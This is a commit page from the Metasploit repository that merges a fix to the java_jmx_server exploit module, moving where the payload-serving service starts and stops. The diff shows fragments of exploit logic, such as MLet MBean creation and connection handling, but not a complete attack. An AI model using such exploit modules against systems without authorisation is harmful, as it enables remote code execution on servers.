Skip to content

Commit abe65cd

Browse files
committed
Land rapid7#5974, java_jmx_server start order fix
2 parents cda102f + 0c46047 commit abe65cd

File tree

1 file changed

+5
-6
lines changed

1 file changed

+5
-6
lines changed

modules/exploits/multi/misc/java_jmx_server.rb

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -120,6 +120,9 @@ def check
120120
end
121121

122122
def exploit
123+
vprint_status("Starting service...")
124+
start_service
125+
123126
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
124127
connect
125128

@@ -165,6 +168,8 @@ def exploit
165168
method: 'run'
166169
)
167170
disconnect
171+
vprint_status("Stopping service...")
172+
stop_service
168173
end
169174

170175
def is_rmi?
@@ -242,9 +247,6 @@ def load_payload(conn_stub)
242247
end
243248

244249
def load_payload_from_url(conn_stub)
245-
vprint_status("Starting service...")
246-
start_service
247-
248250
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
249251

250252
begin
@@ -308,9 +310,6 @@ def load_payload_from_url(conn_stub)
308310
rescue ::Rex::Proto::Rmi::Exception => e
309311
vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}")
310312
return false
311-
ensure
312-
vprint_status("Stopping service...")
313-
stop_service
314313
end
315314

316315
if res.nil?

0 commit comments

Comments
 (0)